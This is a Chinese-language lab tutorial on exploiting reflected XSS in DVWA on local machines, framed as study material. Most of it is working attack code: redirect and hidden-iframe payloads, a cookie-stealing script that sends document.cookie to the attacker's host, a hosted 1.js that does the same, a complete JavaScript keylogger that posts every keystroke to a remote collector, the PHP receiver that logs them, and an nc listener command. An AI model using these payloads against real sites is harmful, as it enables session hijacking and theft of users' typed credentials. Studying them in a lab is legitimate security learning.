申明
此文章内容仅供学习讨论,不参与非法钓鱼行为,实验中的服务器均为本机服务器!
工具
服务器——metasploitable2
被攻击机——windows(任意)
肉鸡服务器——windows
攻击机——kali
环境——DVWA
反射型XSS原理
通过web站点漏洞,向客户端交付恶意脚本代码,实现对客户端 的攻击。
攻击目标: web客户端
(主要是利用客户端浏览器来运行恶意脚本)
主要脚本语言: javascript
条件:
- 服务器对用户提交数据过滤不严格
- web站点能够返回用户输入的 数据(脚本)
- 脚本在客户端执行恶意操作
1:攻击者向用户发送一封邮件,邮件里包含了一个链接,而链接里存在而已脚本代码
2:用户点击邮件里的链接,访问了web站点
3:站点将链接里包含的脚本代码返回给用户浏览器,并在浏览器里执行恶意代码
1:攻击者向用户发送一封邮件,邮件里包含了一个链接,而链接里存在而已脚本代码
2:用户点击邮件里的链接,访问了web站点
3:站点将链接里包含的脚本代码返回给用户浏览器,并在浏览器里执行恶意代码
4: 恶意代码是指向另一个服务器的连接,也就是用户访问了攻击者控制的第三方网站
反射型XSS利用
1、进入 DVWA中xss reflected模块
本次介绍是在low级,其他等级只是绕过问题,就不做解释
2、测试发现存在 反射型XSS 漏洞
输入 test js , 发现返回了输入的数据
实际过程中,推荐使用 brup suite 抓包分析
输入框输入 aabbcc 提交,利用bruosuite抓包
在response中发现服务器返回的页面数据
3、写入JS脚本
直接嵌入HTML中: <script>alert('XSS');</script>
重定向:<script>window.location="http://1.1.1.1"</script>
元素标签事件:
<body onload=alert('XSS')>
<a href='' onclick=alert('XSS')>type</a>
图片标签:<img src="https://www.baidu.com/a.jpg" onerror=alert('xss')>
链接标签: <a href="https://www.baidu.com">click</a>
其他标签:<iframe>,<div>,<link>
<iframe src="http://1.1.1.1/victim" height="0" width="0"></iframe>
<script>new image().src="http://1.1.1.1/c.php?output=" document.cookie</script>
篡改(实际上是没有,存储型XSS才能真正意义上篡改):<script>document.body.innerHTML="<div style=margin-top:20px visibility:visible;><h1>the website is under attack</h1></div>";</script>
输入
输入 : <script>window.location="http://1.1.1.131"</script>
(1.1.1.131是kali的IP)
监听kaili 的 80 端口: nc -vnlp 80 查看 “中招” 的用户信息
可以试试看用户当前网页的cookie: <script>new Image().src="http://1.1.1.131/c.php?output="+document.cookie;</script>
.131 是kali, .1 是物理机(windows)
可以看出物理机已经”中招“了!
4、深入学习——引入第三方“肉鸡”服务器
1.js:
var img = new Image();
img.src = "http://1.1.1.133/cookies.php?cookie="+document.cookie;
肉鸡服务器(我的物理机):127.0.0.1
用户:还是用 的物理机(1.1.1.102) 访问物理机服务器下的 127.0.0.1/1.js
攻击者kali(1.1.1.131):在kali端监听80端口
metasploitable站点服务器(1.1.1.133)
输入:<script src=http://127.0.0.1/1.js></script>
发现物理机(用户)访问 肉鸡服务器的1.js 后成功访问了攻击机并发送了cookie信息
5、构造并利用"键盘监听"
在肉鸡服务器构造 keylogger.js (我是在物理机本地搭建的127.0.0.1/keylogger.js)
document.onkeypress = function(evt){
evt = evt || window.event;
key = String.fromCharCode(evt.charCode);
if(key){
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST","http://192.168.20.8/keycollect.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
kali里开启apache: service apache2 start
cd /var/www/html 创建 keycollect.php
<?php
$key=$_POST['key'];
$loadfile="keyclick.txt";
$fp = fopen($loadfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
接着在该目录下创建 keyclick.txt 来存储用户从键盘输入的数据
记得给 keyclick.txt 加读写权限:chmod 777 keyclick.txt
在web服务器页面输入:
<script src=http://127.0.0.1/keylogger.js></script>
然后点击 submit, 从此刻其起,停留在此web页面的键盘输入将被kali里keycollect.php 接收并写入 keyclick.txt 中。
即使没有在输入框输入,只是停留在那个页面敲击键盘的数据都会被窃取保留。